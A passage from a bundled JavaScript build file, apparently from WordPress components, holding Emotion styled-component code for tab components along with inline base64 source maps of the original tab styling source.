CBbYXJpYS1vcmllbnRhdGlvbj0naG9yaXpvbnRhbCddICkge1xuXHRcdHdpZHRoOiBmaXQtY29udGVudDtcblx0fVxuXG5cdC0tZGlyZWN0aW9uLWZhY3RvcjogMTtcblx0LS1kaXJlY3Rpb24tc3RhcnQ6IGxlZnQ7XG5cdC0tZGlyZWN0aW9uLWVuZDogcmlnaHQ7XG5cdC0tc2VsZWN0ZWQtc3RhcnQ6IHZhciggLS1zZWxlY3RlZC1sZWZ0LCAwICk7XG5cdCY6ZGlyKCBydGwgKSB7XG5cdFx0LS1kaXJlY3Rpb24tZmFjdG9yOiAtMTtcblx0XHQtLWRpcmVjdGlvbi1zdGFydDogcmlnaHQ7XG5cdFx0LS1kaXJlY3Rpb24tZW5kOiBsZWZ0O1xuXHRcdC0tc2VsZWN0ZWQtc3RhcnQ6IHZhciggLS1zZWxlY3RlZC1yaWdodCwgMCApO1xuXHR9XG5cblx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0JltkYXRhLWluZGljYXRvci1hbmltYXRlZF06OmJlZm9yZSB7XG5cdFx0XHR0cmFuc2l0aW9uLXByb3BlcnR5OiB0cmFuc2Zvcm0sIGJvcmRlci1yYWRpdXMsIGJvcmRlci1ibG9jaztcblx0XHRcdHRyYW5zaXRpb24tZHVyYXRpb246IDAuMnM7XG5cdFx0XHR0cmFuc2l0aW9uLXRpbWluZy1mdW5jdGlvbjogZWFzZS1vdXQ7XG5cdFx0fVxuXHR9XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0Jjo6YmVmb3JlIHtcblx0XHRjb250ZW50OiAnJztcblx0XHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdFx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdFx0dHJhbnNmb3JtLW9yaWdpbjogdmFyKCAtLWRpcmVjdGlvbi1zdGFydCApIHRvcDtcblxuXHRcdC8vIFdpbmRvd3MgaGlnaCBjb250cmFzdCBtb2RlLlxuXHRcdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0XHRvdXRsaW5lLW9mZnNldDogLTFweDtcblx0fVxuXG5cdC8qIFVzaW5nIGEgbGFyZ2UgdmFsdWUgdG8gYXZvaWQgYW50aWFsaWFzaW5nIHJvdW5kaW5nIGlzc3Vlc1xuXHRcdFx0d2hlbiBzY2FsaW5nIGluIHRoZSB0cmFuc2Zvcm0sIHNlZTogaHR0cHM6Ly9zdGFja292ZXJmbG93LmNvbS9hLzUyMTU5MTIzICovXG5cdC0tYW50aWFsaWFzaW5nLWZhY3RvcjogMTAwO1xuXHQmW2FyaWEtb3JpZW50YXRpb249J2hvcml6b250YWwnXSB7XG5cdFx0LS1mYWRlLXdpZHRoOiA2NHB4O1xuXHRcdC0tZmFkZS1ncmFkaWVudC1iYXNlOiB0cmFuc3BhcmVudCAwJSwgYmxhY2sgdmFyKCAtLWZhZGUtd2lkdGggKTtcblx0XHQtLWZhZGUtZ3JhZGllbnQtY29tcG9zZWQ6IHZhciggLS1mYWRlLWdyYWRpZW50LWJhc2UgKSwgYmxhY2sgNjAlLFxuXHRcdFx0dHJhbnNwYXJlbnQgNTAlO1xuXHRcdCYuaXMtb3ZlcmZsb3dpbmctZmlyc3Qge1xuXHRcdFx0bWFzay1pbWFnZTogbGluZWFyLWdyYWRpZW50KFxuXHRcdFx0XHR0byB2YXIoIC0tZGlyZWN0aW9uLWVuZCApLFxuXHRcdFx0XHR2YXIoIC0tZmFkZS1ncmFkaWVudC1iYXNlIClcblx0XHRcdCk7XG5cdFx0fVxuXHRcdCYuaXMtb3ZlcmZsb3dpbmctbGFzdCB7XG5cdFx0XHRtYXNrLWltYWdlOiBsaW5lYXItZ3JhZGllbnQoXG5cdFx0XHRcdHRvIHZhciggLS1kaXJlY3Rpb24tc3RhcnQgKSxcblx0XHRcdFx0dmFyKCAtLWZhZGUtZ3JhZGllbnQtYmFzZSApXG5cdFx0XHQpO1xuXHRcdH1cblx0XHQmLmlzLW92ZXJmbG93aW5nLWZpcnN0LmlzLW92ZXJmbG93aW5nLWxhc3Qge1xuXHRcdFx0bWFzay1pbWFnZTogbGluZWFyLWdyYWRpZW50KFxuXHRcdFx0XHRcdHRvIHJpZ2h0LFxuXHRcdFx0XHRcdHZhciggLS1mYWRlLWdyYWRpZW50LWNvbXBvc2VkIClcblx0XHRcdFx0KSxcblx0XHRcdFx0bGluZWFyLWdyYWRpZW50KCB0byBsZWZ0LCB2YXIoIC0tZmFkZS1ncmFkaWVudC1jb21wb3NlZCApICk7XG5cdFx0fVxuXG5cdFx0Jjo6YmVmb3JlIHtcblx0XHRcdGJvdHRvbTogMDtcblx0XHRcdGhlaWdodDogMDtcblx0XHRcdHdpZHRoOiBjYWxjKCB2YXIoIC0tYW50aWFsaWFzaW5nLWZhY3RvciApICogMXB4ICk7XG5cdFx0XHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoXG5cdFx0XHRcdFx0Y2FsYyhcblx0XHRcdFx0XHRcdHZhciggLS1zZWxlY3RlZC1zdGFydCApICogdmFyKCAtLWRpcmVjdGlvbi1mYWN0b3IgKSAqXG5cdFx0XHRcdFx0XHRcdDFweFxuXHRcdFx0XHRcdClcblx0XHRcdFx0KVxuXHRcdFx0XHRzY2FsZVgoXG5cdFx0XHRcdFx0Y2FsYyhcblx0XHRcdFx0XHRcdHZhciggLS1zZWxlY3RlZC13aWR0aCwgMCApIC9cblx0XHRcdFx0XHRcdFx0dmFyKCAtLWFudGlhbGlhc2luZy1mYWN0b3IgKVxuXHRcdFx0XHRcdClcblx0XHRcdFx0KTtcblx0XHRcdGJvcmRlci1ib3R0b206IHZhciggLS13cC1hZG1pbi1ib3JkZXItd2lkdGgtZm9jdXMgKSBzb2xpZFxuXHRcdFx0XHQkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cdFx0fVxuXHR9XG5cdCZbYXJpYS1vcmllbnRhdGlvbj0ndmVydGljYWwnXSB7XG5cdFx0Jjo6YmVmb3JlIHtcblx0XHRcdC8qIEFkanVzdGluZyB0aGUgYm9yZGVyIHJhZGl1cyB0byBtYXRjaCB0aGUgc2NhbGluZyBpbiB0aGUgeSBheGlzLiAqL1xuXHRcdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1NtYWxsIH0gL1xuXHRcdFx0XHRjYWxjKFxuXHRcdFx0XHRcdCR7IENPTkZJRy5yYWRpdXNTbWFsbCB9IC9cblx0XHRcdFx0XHRcdChcblx0XHRcdFx0XHRcdFx0dmFyKCAtLXNlbGVjdGVkLWhlaWdodCwgMCApIC9cblx0XHRcdFx0XHRcdFx0XHR2YXIoIC0tYW50aWFsaWFzaW5nLWZhY3RvciApXG5cdFx0XHRcdFx0XHQpXG5cdFx0XHRcdCk7XG5cdFx0XHR0b3A6IDA7XG5cdFx0XHRsZWZ0OiAwO1xuXHRcdFx0d2lkdGg6IDEwMCU7XG5cdFx0XHRoZWlnaHQ6IGNhbGMoIHZhciggLS1hbnRpYWxpYXNpbmctZmFjdG9yICkgKiAxcHggKTtcblx0XHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlWSggY2FsYyggdmFyKCAtLXNlbGVjdGVkLXRvcCwgMCApICogMXB4ICkgKVxuXHRcdFx0XHRzY2FsZVkoXG5cdFx0XHRcdFx0Y2FsYyhcblx0XHRcdFx0XHRcdHZhciggLS1zZWxlY3RlZC1oZWlnaHQsIDAgKSAvXG5cdFx0XHRcdFx0XHRcdHZhciggLS1hbnRpYWxpYXNpbmctZmFjdG9yIClcblx0XHRcdFx0XHQpXG5cdFx0XHRcdCk7XG5cdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvci1taXgoXG5cdFx0XHRcdGluIHNyZ2IsXG5cdFx0XHRcdCR7IENPTE9SUy50aGVtZS5hY2NlbnQgfSxcblx0XHRcdFx0dHJhbnNwYXJlbnQgOTYlXG5cdFx0XHQpO1xuXHRcdH1cblx0XHQmW2RhdGEtc2VsZWN0LW9uLW1vdmU9J3RydWUnXTpoYXMoXG5cdFx0XHRcdDppcyggOmZvY3VzLXZpc2libGUsIFtkYXRhLWZvY3VzLXZpc2libGVdIClcblx0XHRcdCk6OmJlZm9yZSB7XG5cdFx0XHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRcdFx0Ym9yZGVyOiB2YXIoIC0td3AtYWRtaW4tYm9yZGVyLXdpZHRoLWZvY3VzICkgc29saWRcblx0XHRcdFx0JHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdFx0LyogQWRqdXN0aW5nIHRoZSBib3JkZXIgd2lkdGggdG8gbWF0Y2ggdGhlIHNjYWxpbmcgaW4gdGhlIHkgYXhpcy4gKi9cblx0XHRcdGJvcmRlci1ibG9jay13aWR0aDogY2FsYyhcblx0XHRcdFx0dmFyKCAtLXdwLWFkbWluLWJvcmRlci13aWR0aC1mb2N1cywgMXB4ICkgL1xuXHRcdFx0XHRcdChcblx0XHRcdFx0XHRcdHZhciggLS1zZWxlY3RlZC1oZWlnaHQsIDAgKSAvXG5cdFx0XHRcdFx0XHRcdHZhciggLS1hbnRpYWxpYXNpbmctZmFjdG9yIClcblx0XHRcdFx0XHQpXG5cdFx0XHQpO1xuXHRcdH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IFRhYiA9IHN0eWxlZCggQXJpYWtpdC5UYWIgKWBcblx0JiB7XG5cdFx0LyogUmVzZXRzICovXG5cdFx0Ym9yZGVyLXJhZGl1czogMDtcblx0XHRiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDtcblx0XHRib3JkZXI6IG5vbmU7XG5cdFx0Ym94LXNoYWRvdzogbm9uZTtcblxuXHRcdGZsZXg6IDEgMCBhdXRvO1xuXHRcdHdoaXRlLXNwYWNlOiBub3dyYXA7XG5cdFx0ZGlzcGxheTogZmxleDtcblx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdGN1cnNvcjogcG9pbnRlcjtcblx0XHRsaW5lLWhlaWdodDogMS4yOyAvLyBDaGFyYWN0ZXJzIGluIHNvbWUgbGFuZ3VhZ2VzIChlLmcuIEphcGFuZXNlKSBtYXkgaGF2ZSBhIG5hdGl2ZSBoaWdoZXIgbGluZS1oZWlnaHQuXG5cdFx0Zm9udC1mYW1pbHk6ICR7IGZvbnQoICdkZWZhdWx0LmZvbnRGYW1pbHknICkgfTtcblx0XHRmb250LXdlaWdodDogNDAwO1xuXHRcdGZvbnQtc2l6ZTogJHsgZm9udCggJ2RlZmF1bHQuZm9udFNpemUnICkgfTtcblx0XHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmZvcmVncm91bmQgfTtcblxuXHRcdCZbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddIHtcblx0XHRcdGN1cnNvcjogZGVmYXVsdDtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMudWkudGV4dERpc2FibGVkIH07XG5cdFx0fVxuXG5cdFx0Jjpub3QoIFthcmlhLWRpc2FibGVkPSd0cnVlJ10gKTppcyggOmhvdmVyLCBbZGF0YS1mb2N1cy12aXNpYmxlXSApIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cdFx0fVxuXG5cdFx0Jjpmb2N1czpub3QoIDpkaXNhYmxlZCApIHtcblx0XHRcdGJveC1zaGFkb3c6IG5vbmU7XG5cdFx0XHRvdXRsaW5lOiBub25lO1xuXHRcdH1cblxuXHRcdC8vIEZvY3VzIGluZGljYXRvci5cblx0XHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdFx0Jjo6YWZ0ZXIge1xuXHRcdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdFx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cblx0XHRcdC8vIERyYXcgdGhlIGluZGljYXRvci5cblx0XHRcdC8vIE91dGxpbmUgd29ya3MgZm9yIFdpbmRvd3MgaGlnaCBjb250cmFzdCBtb2RlIGFzIHdlbGwuXG5cdFx0XHRvdXRsaW5lOiB2YXIoIC0td3AtYWRtaW4tYm9yZGVyLXdpZHRoLWZvY3VzICkgc29saWRcblx0XHRcdFx0JHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1NtYWxsIH07XG5cblx0XHRcdC8vIEFuaW1hdGlvblxuXHRcdFx0b3BhY2l0eTogMDtcblxuXHRcdFx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0XHRcdHRyYW5zaXRpb246IG9wYWNpdHkgMC4xcyBsaW5lYXI7XG5cdFx0XHR9XG5cdFx0fVxuXG5cdFx0JltkYXRhLWZvY3VzLXZpc2libGVdOjphZnRlciB7XG5cdFx0XHRvcGFjaXR5OiAxO1xuXHRcdH1cblx0fVxuXG5cdFthcmlhLW9yaWVudGF0aW9uPSdob3Jpem9udGFsJ10gJiB7XG5cdFx0cGFkZGluZy1pbmxpbmU6ICR7IHNwYWNlKCA0ICkgfTtcblx0XHRoZWlnaHQ6ICR7IHNwYWNlKCAxMiApIH07XG5cdFx0c2Nyb2xsLW1hcmdpbjogMjRweDtcblxuXHRcdCY6OmFmdGVyIHtcblx0XHRcdGNvbnRlbnQ6ICcnO1xuXHRcdFx0aW5zZXQ6ICR7IHNwYWNlKCAzICkgfTtcblx0XHR9XG5cdH1cblxuXHRbYXJpYS1vcmllbnRhdGlvbj0ndmVydGljYWwnXSAmIHtcblx0XHRwYWRkaW5nOiAkeyBzcGFjZSggMiApIH0gJHsgc3BhY2UoIDMgKSB9O1xuXHRcdG1pbi1oZWlnaHQ6ICR7IHNwYWNlKCAxMCApIH07XG5cblx0XHQmW2FyaWEtc2VsZWN0ZWQ9J3RydWUnXSB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdFx0ZmlsbDogY3VycmVudENvbG9yO1xuXHRcdH1cblx0fVxuXHRbYXJpYS1vcmllbnRhdGlvbj0ndmVydGljYWwnXVtkYXRhLXNlbGVjdC1vbi1tb3ZlPSdmYWxzZSddICY6OmFmdGVyIHtcblx0XHRjb250ZW50OiAnJztcblx0XHRpbnNldDogdmFyKCAtLXdwLWFkbWluLWJvcmRlci13aWR0aC1mb2N1cyApO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgVGFiQ2hpbGRyZW4gPSBzdHlsZWQuc3BhbmBcblx0ZmxleC1ncm93OiAxO1xuXG5cdGRpc3BsYXk6IGZsZXg7XG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cblx0W2FyaWEtb3JpZW50YXRpb249J2hvcml6b250YWwnXSAmIHtcblx0XHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblx0fVxuXHRbYXJpYS1vcmllbnRhdGlvbj0ndmVydGljYWwnXSAmIHtcblx0XHRqdXN0aWZ5LWNvbnRlbnQ6IHN0YXJ0O1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgVGFiQ2hldnJvbiA9IHN0eWxlZCggSWNvbiApYFxuXHRmbGV4LXNocmluazogMDtcblx0bWFyZ2luLWlubGluZS1lbmQ6ICR7IHNwYWNlKCAtMSApIH07XG5cdFthcmlhLW9yaWVudGF0aW9uPSdob3Jpem9udGFsJ10gJiB7XG5cdFx0ZGlzcGxheTogbm9uZTtcblx0fVxuXHRvcGFjaXR5OiAwO1xuXHRbcm9sZT0ndGFiJ106aXMoIFthcmlhLXNlbGVjdGVkPSd0cnVlJ10sIFtkYXRhLWZvY3VzLXZpc2libGVdLCA6aG92ZXIgKSAmIHtcblx0XHRvcGFjaXR5OiAxO1xuXHR9XG5cdC8vIFRoZSBjaGV2cm9uIGlzIHRyYW5zaXRpb25lZCBpbnRvIGV4aXN0ZW5jZSB3aGVuIHNlbGVjdE9uTW92ZSBpcyBlbmFibGVkLFxuXHQvLyBiZWNhdXNlIG90aGVyd2lzZSBpdCBsb29rcyBqYXJyaW5nLCBhcyBpdCBzaG93cyB1cCBvdXRzaWRlIG9mIHRoZSBmb2N1c1xuXHQvLyBpbmRpY2F0b3IgdGhhdCdzIGJlaW5nIGFuaW1hdGVkIGF0IHRoZSBzYW1lIHRpbWUuXG5cdEBtZWRpYSBub3QgKCBwcmVmZXJzLXJlZHVjZWQtbW90aW9uICkge1xuXHRcdFtkYXRhLXNlbGVjdC1vbi1tb3ZlPSd0cnVlJ11cblx0XHRcdFtyb2xlPSd0YWInXTppcyggW2FyaWEtc2VsZWN0ZWQ9J3RydWUnXSwgIClcblx0XHRcdCYge1xuXHRcdFx0dHJhbnNpdGlvbjogb3BhY2l0eSAwLjE1cyAwLjE1cyBsaW5lYXI7XG5cdFx0fVxuXHR9XG5cdCY6ZGlyKCBydGwgKSB7XG5cdFx0cm90YXRlOiAxODBkZWc7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBUYWJQYW5lbCA9IHN0eWxlZCggQXJpYWtpdC5UYWJQYW5lbCApYFxuXHQmOmZvY3VzIHtcblx0XHRib3gtc2hhZG93OiBub25lO1xuXHRcdG91dGxpbmU6IG5vbmU7XG5cdH1cblxuXHQmW2RhdGEtZm9jdXMtdmlzaWJsZV0ge1xuXHRcdGJveC1zaGFkb3c6IDAgMCAwIHZhciggLS13cC1hZG1pbi1ib3JkZXItd2lkdGgtZm9jdXMgKVxuXHRcdFx0JHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdC8vIFdpbmRvd3MgaGlnaCBjb250cmFzdCBtb2RlLlxuXHRcdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0XHRvdXRsaW5lLW9mZnNldDogMDtcblx0fVxuYDtcbiJdfQ== */"));
50929 var TabPanel23 = /* @__PURE__ */ createStyled(TabPanel, false ? {
50930 target: "enfox0g0"
50931 } : {
50932 target: "enfox0g0",
50933 label: "TabPanel"
50934 })("&:focus{box-shadow:none;outline:none;}&[data-focus-visible]{box-shadow:0 0 0 var( --wp-admin-border-width-focus ) ", COLORS.theme.accent, ";outline:2px solid transparent;outline-offset:0;}" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFpUmtEIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbmltcG9ydCAqIGFzIEFyaWFraXQgZnJvbSAnQGFyaWFraXQvcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRywgZm9udCB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vdXRpbHMvc3BhY2UnO1xuaW1wb3J0IEljb24gZnJvbSAnLi4vaWNvbic7XG5cbmV4cG9ydCBjb25zdCBTdHlsZWRUYWJMaXN0ID0gc3R5bGVkKCBBcmlha2l0LlRhYkxpc3QgKWBcblx0ZGlzcGxheTogZmxleDtcblx0YWxpZ24taXRlbXM6IHN0cmV0Y2g7XG5cdG92ZXJmbG93LXg6IGF1dG87XG5cblx0JlthcmlhLW9yaWVudGF0aW9uPSd2ZXJ0aWNhbCddIHtcblx0XHRmbGV4LWRpcmVjdGlvbjogY29sdW1uO1xuXHR9XG5cblx0OndoZXJlKCBbYXJpYS1vcmllbnRhdGlvbj0naG9yaXpvbnRhbCddICkge1xuXHRcdHdpZHRoOiBmaXQtY29udGVudDtcblx0fVxuXG5cdC0tZGlyZWN0aW9uLWZhY3RvcjogMTtcblx0LS1kaXJlY3Rpb24tc3RhcnQ6IGxlZnQ7XG5cdC0tZGlyZWN0aW9uLWVuZDogcmlnaHQ7XG5cdC0tc2VsZWN0ZWQtc3RhcnQ6IHZhciggLS1zZWxlY3RlZC1sZWZ0LCAwICk7XG5cdCY6ZGlyKCBydGwgKSB7XG5cdFx0LS1kaXJlY3Rpb24tZmFjdG9yOiAtMTtcblx0XHQtLWRpcmVjdGlvbi1zdGFydDogcmlnaHQ7XG5cdFx0LS1kaXJlY3Rpb24tZW5kOiBsZWZ0O1xuXHRcdC0tc2VsZWN0ZWQtc3RhcnQ6IHZhciggLS1zZWxlY3RlZC1yaWdodCwgMCApO1xuXHR9XG5cblx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0JltkYXRhLWluZGljYXRvci1hbmltYXRlZF06OmJlZm9yZSB7XG5cdFx0XHR0cmFuc2l0aW9uLXByb3BlcnR5OiB0cmFuc2Zvcm0sIGJvcmRlci1yYWRpdXMsIGJvcmRlci1ibG9jaztcblx0XHRcdHRyYW5zaXRpb24tZHVyYXRpb246IDAuMnM7XG5cdFx0XHR0cmFuc2l0aW9uLXRpbWluZy1mdW5jdGlvbjogZWFzZS1vdXQ7XG5cdFx0fVxuXHR9XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0Jjo6YmVmb3JlIHtcblx0XHRjb250ZW50OiAnJztcblx0XHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdFx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdFx0dHJhbnNmb3JtLW9yaWdpbjogdmFyKCAtLWRpcmVjdGlvbi1zdGFydCApIHRvcDtcblxuXHRcdC8vIFdpbmRvd3MgaGlnaCBjb250cmFzdCBtb2RlLlxuXHRcdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0XHRvdXRsaW5lLW9mZnNldDogLTFweDtcblx0fVxuXG5cdC8qIFVzaW5nIGEgbGFyZ2UgdmFsdWUgdG8gYXZvaWQgYW50aWFsaWFzaW5nIHJvdW5kaW5nIGlzc3Vlc1xuXHRcdFx0d2hlbiBzY2FsaW5nIGluIHRoZSB0cmFuc2Zvcm0sIHNlZTogaHR0cHM6Ly9zdGFja292ZXJmbG93LmNvbS9hLzUyMTU5MTIzICovXG5cdC0tYW50aWFsaWFzaW5nLWZhY3RvcjogMTAwO1xuXHQmW2FyaWEtb3JpZW50YXRpb249J2hvcml6b250YWwnXSB7XG5cdFx0LS1mYWRlLXdpZHRoOiA2NHB4O1xuXHRcdC0tZmFkZS1ncmFkaWVudC1iYXNlOiB0cmFuc3BhcmVudCAwJSwgYmxhY2sgdmFyKCAtLWZhZGUtd2lkdGggKTtcblx0XHQtLWZhZGUtZ3JhZGllbnQtY29tcG9zZWQ6IHZhciggLS1mYWRlLWdyYWRpZW50LWJhc2UgKSwgYmxhY2sgNjAlLFxuXHRcdFx0dHJhbnNwYXJlbnQgNTAlO1xuXHRcdCYuaXMtb3ZlcmZsb3dpbmctZmlyc3Qge1xuXHRcdFx0bWFzay1pbWFnZTogbGluZWFyLWdyYWRpZW50KFxuXHRcdFx0XHR0byB2YXIoIC0tZGlyZWN0aW9uLWVuZCApLFxuXHRcdFx0XHR2YXIoIC0tZmFkZS1ncmFkaWVudC1iYXNlIClcblx0XHRcdCk7XG5cdFx0fVxuXHRcdCYuaXMtb3ZlcmZsb3dpbmctbGFzdCB7XG5cdFx0XHRtYXNrLWltYWdlOiBsaW5lYXItZ3JhZGllbnQoXG5cdFx0XHRcdHRvIHZhciggLS1kaXJlY3Rpb24tc3RhcnQgKSxcblx0XHRcdFx0dmFyKCAtLWZhZGUtZ3JhZGllbnQtYmFzZSApXG5cdFx0XHQpO1xuXHRcdH1cblx0XHQmLmlzLW92ZXJmbG93aW5nLWZpcnN0LmlzLW92ZXJmbG93aW5nLWxhc3Qge1xuXHRcdFx0bWFzay1pbWFnZTogbGluZWFyLWdyYWRpZW50KFxuXHRcdFx0XHRcdHRvIHJpZ2h0LFxuXHRcdFx0XHRcdHZhciggLS1mYWRlLWdyYWRpZW50LWNvbXBvc2VkIClcblx0XHRcdFx0KSxcblx0XHRcdFx0bGluZWFyLWdyYWRpZW50KCB0byBsZWZ0LCB2YXIoIC0tZmFkZS1ncmFkaWVudC1jb21wb3NlZCApICk7XG5cdFx0fVxuXG5cdFx0Jjo6YmVmb3JlIHtcblx0XHRcdGJvdHRvbTogMDtcblx0XHRcdGhlaWdodDogMDtcblx0XHRcdHdpZHRoOiBjYWxjKCB2YXIoIC0tYW50aWFsaWFzaW5nLWZhY3RvciApICogMXB4ICk7XG5cdFx0XHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoXG5cdFx0XHRcdFx0Y2FsYyhcblx0XHRcdFx0XHRcdHZhciggLS1zZWxlY3RlZC1zdGFydCApICogdmFyKCAtLWRpcmVjdGlvbi1mYWN0b3IgKSAqXG5cdFx0XHRcdFx0XHRcdDFweFxuXHRcdFx0XHRcdClcblx0XHRcdFx0KVxuXHRcdFx0XHRzY2FsZVgoXG5cdFx0XHRcdFx0Y2FsYyhcblx0XHRcdFx0XHRcdHZhciggLS1zZWxlY3RlZC13aWR0aCwgMCApIC9cblx0XHRcdFx0XHRcdFx0dmFyKCAtLWFudGlhbGlhc2luZy1mYWN0b3IgKVxuXHRcdFx0XHRcdClcblx0XHRcdFx0KTtcblx0XHRcdGJvcmRlci1ib3R0b206IHZhciggLS13cC1hZG1pbi1ib3JkZXItd2lkdGgtZm9jdXMgKSBzb2xpZFxuXHRcdFx0XHQkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cdFx0fVxuXHR9XG5cdCZbYXJpYS1vcmllbnRhdGlvbj0ndmVydGljYWwnXSB7XG5cdFx0Jjo6YmVmb3JlIHtcblx0XHRcdC8qIEFkanVzdGluZyB0aGUgYm9yZGVyIHJhZGl1cyB0byBtYXRjaCB0aGUgc2NhbGluZyBpbiB0aGUgeSBheGlzLiAqL1xuXHRcdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1NtYWxsIH0gL1xuXHRcdFx0XHRjYWxjKFxuXHRcdFx0XHRcdCR7IENPTkZJRy5yYWRpdXNTbWFsbCB9IC9cblx0XHRcdFx0XHRcdChcblx0XHRcdFx0XHRcdFx0dmFyKCAtLXNlbGVjdGVkLWhlaWdodCwgMCApIC9cblx0XHRcdFx0XHRcdFx0XHR2YXIoIC0tYW50aWFsaWFzaW5nLWZhY3RvciApXG5cdFx0XHRcdFx0XHQpXG5cdFx0XHRcdCk7XG5cdFx0XHR0b3A6IDA7XG5cdFx0XHRsZWZ0OiAwO1xuXHRcdFx0d2lkdGg6IDEwMCU7XG5cdFx0XHRoZWlnaHQ6IGNhbGMoIHZhciggLS1hbnRpYWxpYXNpbmctZmFjdG9yICkgKiAxcHggKTtcblx0XHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlWSggY2FsYyggdmFyKCAtLXNlbGVjdGVkLXRvcCwgMCApICogMXB4ICkgKVxuXHRcdFx0XHRzY2FsZVkoXG5cdFx0XHRcdFx0Y2FsYyhcblx0XHRcdFx0XHRcdHZhciggLS1zZWxlY3RlZC1oZWlnaHQsIDAgKSAvXG5cdFx0XHRcdFx0XHRcdHZhciggLS1hbnRpYWxpYXNpbmctZmFjdG9yIClcblx0XHRcdFx0XHQpXG5cdFx0XHRcdCk7XG5cdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvci1taXgoXG5cdFx0XHRcdGluIHNyZ2IsXG5cdFx0XHRcdCR7IENPTE9SUy50aGVtZS5hY2NlbnQgfSxcblx0XHRcdFx0dHJhbnNwYXJlbnQgOTYlXG5cdFx0XHQpO1xuXHRcdH1cblx0XHQmW2RhdGEtc2VsZWN0LW9uLW1vdmU9J3RydWUnXTpoYXMoXG5cdFx0XHRcdDppcyggOmZvY3VzLXZpc2libGUsIFtkYXRhLWZvY3VzLXZpc2libGVdIClcblx0XHRcdCk6OmJlZm9yZSB7XG5cdFx0XHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRcdFx0Ym9yZGVyOiB2YXIoIC0td3AtYWRtaW4tYm9yZGVyLXdpZHRoLWZvY3VzICkgc29saWRcblx0XHRcdFx0JHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdFx0LyogQWRqdXN0aW5nIHRoZSBib3JkZXIgd2lkdGggdG8gbWF0Y2ggdGhlIHNjYWxpbmcgaW4gdGhlIHkgYXhpcy4gKi9cblx0XHRcdGJvcmRlci1ibG9jay13aWR0aDogY2FsYyhcblx0XHRcdFx0dmFyKCAtLXdwLWFkbWluLWJvcmRlci13aWR0aC1mb2N1cywgMXB4ICkgL1xuXHRcdFx0XHRcdChcblx0XHRcdFx0XHRcdHZhciggLS1zZWxlY3RlZC1oZWlnaHQsIDAgKSAvXG5cdFx0XHRcdFx0XHRcdHZhciggLS1hbnRpYWxpYXNpbmctZmFjdG9yIClcblx0XHRcdFx0XHQpXG5cdFx0XHQpO1xuXHRcdH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IFRhYiA9IHN0eWxlZCggQXJpYWtpdC5UYWIgKWBcblx0JiB7XG5cdFx0LyogUmVzZXRzICovXG5cdFx0Ym9yZGVyLXJhZGl1czogMDtcblx0XHRiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDtcblx0XHRib3JkZXI6IG5vbmU7XG5cdFx0Ym94LXNoYWRvdzogbm9uZTtcblxuXHRcdGZsZXg6IDEgMCBhdXRvO1